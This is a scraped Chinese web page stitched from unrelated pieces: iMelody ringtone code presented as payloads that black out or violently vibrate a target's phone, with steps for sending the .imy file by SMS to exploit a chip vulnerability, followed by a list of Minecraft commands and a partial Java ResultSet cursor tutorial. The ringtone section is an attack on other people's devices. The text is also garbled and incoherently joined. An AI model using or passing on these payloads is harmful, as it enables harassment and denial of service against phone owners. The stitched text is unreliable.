大橙子网站建设,新征程启航
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BEGBEGIN:IMELODY
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VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+melody+"@9999999999999999999999999)"
手机黑屏代码
BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY
手机狂震代码
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@0)
END:IMELODY
说明
1 “@”后面的数字越大,重复次数越多
2把上面代码复制,在计算机上保存为.txt文本文件,再改名为 .imy 文件
3 imy 放到手机里的Audio文件夹
4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象,就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞,那么则会产生上述所说效果.
以下是Minecraft通用指令:
clear:清除玩家的物品
clone:复制或移动某区域内的方块
deop:撤销玩家的管理员身份
difficulty:调整游戏难度
effect:给予实体状态效果
enchant:对实体手持物品进行附魔
execute:在改变执行者、执行位置和角度,添加限制条件,并储存其输出值的情况下执行另一条命令
experience/xp:更改玩家的经验和等级
fill:在指定区域填充指定方块
function:执行函数
gamemode:修改游戏模式
gamerule:查看和修改游戏规则
give:给予玩家指定物品
help/?:列出可用指令、查看特定指令用法
kick:将玩家踢出服务器
kill:移除或杀死实体
list:列出在服务器中的玩家
locate:定位特定结构
me:以“* 执行者名称+动作”的格式发送一条旁白信息
op:给予玩家管理员身份
particle:显示粒子
playsound:播放音效
reload:重新加载数据包
say:通过聊天框向玩家发送消息
schedule:在经过指定的时间后执行函数
scoreboard:管理和查看记分板的目标、玩家和队伍
setblock:放置指定方块
setworldspawn:设置世界出生点
spawnpoint:设置特定玩家的重生点
spreadplayers:散步玩家
stopsound:停止音效
summon:生成实体
tag:管理实体的记分板标签
tell/msg/w:通过聊天框向玩家发送私聊信息
tellraw:向玩家发送JSON文本消息
time:设置时间
title:设置和显示标题
teleport/tp:传送实体
weather:设置天气
whitelist:管理服务器中的白名单
以下是java版特有指令:
advancement:使特定玩家达成进度
attribute:管理实体属性
ban:将玩家列入黑名单
ban-ip:将一个ip地址列入黑名单
banlist:显示黑名单
bossbar:管理boss栏
data:查看或修改方块或实体的nbt数据
datapack:管理数据包
debug:开始或结束调试会话
defaultgamemode:设置默认游戏模式
forceload:强制加载区块
item:修改方块或实体物品栏内的物品
jfr:使用Java FlightRecorder分析数据和某些自定义事件
locatebiome:定位生物群系
loot:将指定的战利品放入物品栏或世界
pardon:将玩家移出黑名单
pardon-ip:将一个ip地址移出黑名单
perf:记录并保存性能分析数据
placefeature[新增:JE 1.18.2]:放置一个地物,目前不可用
publish:向局域网开放单人游戏世界
recipe:给予或剥夺玩家配方
save-all:将服务器保存至硬盘
save-off:禁用服务器的自动保存
save-on:启用服务器的自动保存
seed:输出世界种子
setidletimeout:设置踢出空闲不动玩家的时间
spectate:使处于旁观者模式的玩家进入另一个实体的视角
stop:停止服务端
team:管理队伍
teammsg:给使用命令的实体所在的队伍全体成员发送消息
trigger:修改一个准则为“触发器”的记分板目标
worldborder:控制世界边界
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ResultSet接口提供了一整套的定位方法
这些可以在记录集中定位的任意一行,具体有:
public
boolean
absolute(int
row);该方法的作用是将记录集中的某一行设定为当前行,亦即将数
据库游标移动到指定的行,参数row指定了目标行的行号,这是绝对的行号,由记录集的第一行开始计算,
不是相对的行号。
public
boolean
relative(int
rows);该方法的作用也是将记录集中的某一行设定为当前行,但是它
的参数rows表示目标行相对于当前行的行号,例如当前行是第3行,现在需要移动么第6行去,既可以使用
absolute()方法,也可以使用frelative()方法,代码如下。
例:
rs.absolute(5);
或者
rs.relative(2);
其中rs代表ResultSet接口的实例对象。
又如当前行是第5行,需要移动到第3行去,代码如下。
例:
rs.absolute(3);
或者
rs.relative(-2);
其中rs代表ResultSet接口的实例对象。
读者需要注意的问题是,传递给relative()方法的参数,如果是正数,那么数据库游标向前移动,如
果是负数,那么数据库的游标向后移动。
注意:在本间中所说的数据库游标向前移动是指向行号增大的方向移动,向后移动是指向行号减少的
方法移动。
public
boolean
first();该方法的作用是将当前行定位到数据库记录集的第一行。
public
boolean
last();该方法的作用刚好和first()方法相反,是将当前行定位到数据库记录集的最
后一行。
public
boolean
isFirst();该方法的作用是检查当前行是否记录集的第一行,如果是,返回true,否
则,返回false。
public
boolean
isLast();该方法的作用是检查当前行是否记录集的最后一行,如果是,返回true,
否则,返回false。
public
void
afterLast();该方法的作用是将数据库游标移到记录集的最后,位于记录集最后一行的
后面,如果该记录集不包含任何的行,该方法不产生作用。
public
void
beforeFirst();该方法的作用是将数据库的游标移动记录集的最前面,位于记录集第一
行的前面,如果记录集不包含任何的行。该方法不产生作用。
public
boolean
isAfterLast();该方法检查数据库游标是否处于记录集的最后面(即是否处于最后一
行记录的后面),如果是,返回true,否则,返回false。
public
boolean
isBeforeFirst();该方法检查数据库游标是否处于记录集的最前面(即是否处于最前
面一行记录的前面),如果是,返回true,否则,返回false。
public
boolean
next();该方法的作用是将数据库游标向前移动一位,使得下一行成为当前行,当刚
刚打开记录集对象时,数据库游标的位置在记录集的最前面,第一次使用next()方法,将会使数据库游标
定位到记录集的第一行,第二次使用next()方法,将会使数据库游标定位到记录集的第二行,以此类推。
注意:如果在当前行打开了一个输入流(Input
Stream),那么再次使用next()方法时,将会自动关闭
该输入流。
public
boolean
previous();该方法的作用是将数据库游标向后移动一位,使得上一行成为当前行。
具体使用例子:
rs.absolute(500);
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